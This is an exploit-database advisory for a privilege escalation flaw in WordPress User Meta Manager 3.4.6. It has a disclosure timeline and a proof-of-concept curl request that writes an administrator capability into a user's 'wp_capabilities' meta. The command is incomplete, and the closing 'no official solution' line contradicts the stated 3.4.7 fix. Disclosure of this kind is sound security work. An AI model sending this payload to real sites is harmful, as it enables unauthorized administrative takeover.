WordPress User Meta Manager 3.4.6 Plugin - Privilege Escalation

ID 1337DAY-ID-24897
Type zdt
Reporter Panagiotis Vagenas
Modified 2016-02-04T00:00:00


Exploit for php platform in category web applications

                                            * Exploit Title: WordPress User Meta Manager Plugin [Privilege Escalation]
* Discovery Date: 2015/12/28
* Public Disclosure Date: 2016/02/04
* Exploit Author: Panagiotis Vagenas
* Contact: https://twitter.com/panVagenas
* Vendor Homepage: http://jasonlau.biz/home/
* Software Link: https://wordpress.org/plugins/user-meta-manager/
* Version: 3.4.6
* Tested on: WordPress 4.4.1
* Category: webapps
User Meta Manager for WordPress plugin up to v3.4.6 suffers from a privilege 
escalation vulnerability. A registered user can modify the meta information of 
any registered user, including himself. This way he can modify `wp_capabilities`
meta to escalate his account to a full privileged administrative account.
curl -c ${USER_COOKIES} \
     -d "mode=edit&umm_meta_value[]=a:1:{s:13:\"administrator\";b:1;}\
     &umm_meta_key[]=wp_capabilities" \
2015/12/28 - Discovered
2015/12/29 - Vendor notified via support forums in WordPress.org
2015/12/29 - Vendor notified via contact form in his site
2016/01/29 - WordPress security team notified about the issue
2016/02/02 - Vendor released version 3.4.7
2016/02/02 - Verified that this exploit no longer applies in version 3.4.7
No official solution yet exists.

#  0day.today [2018-01-06]  #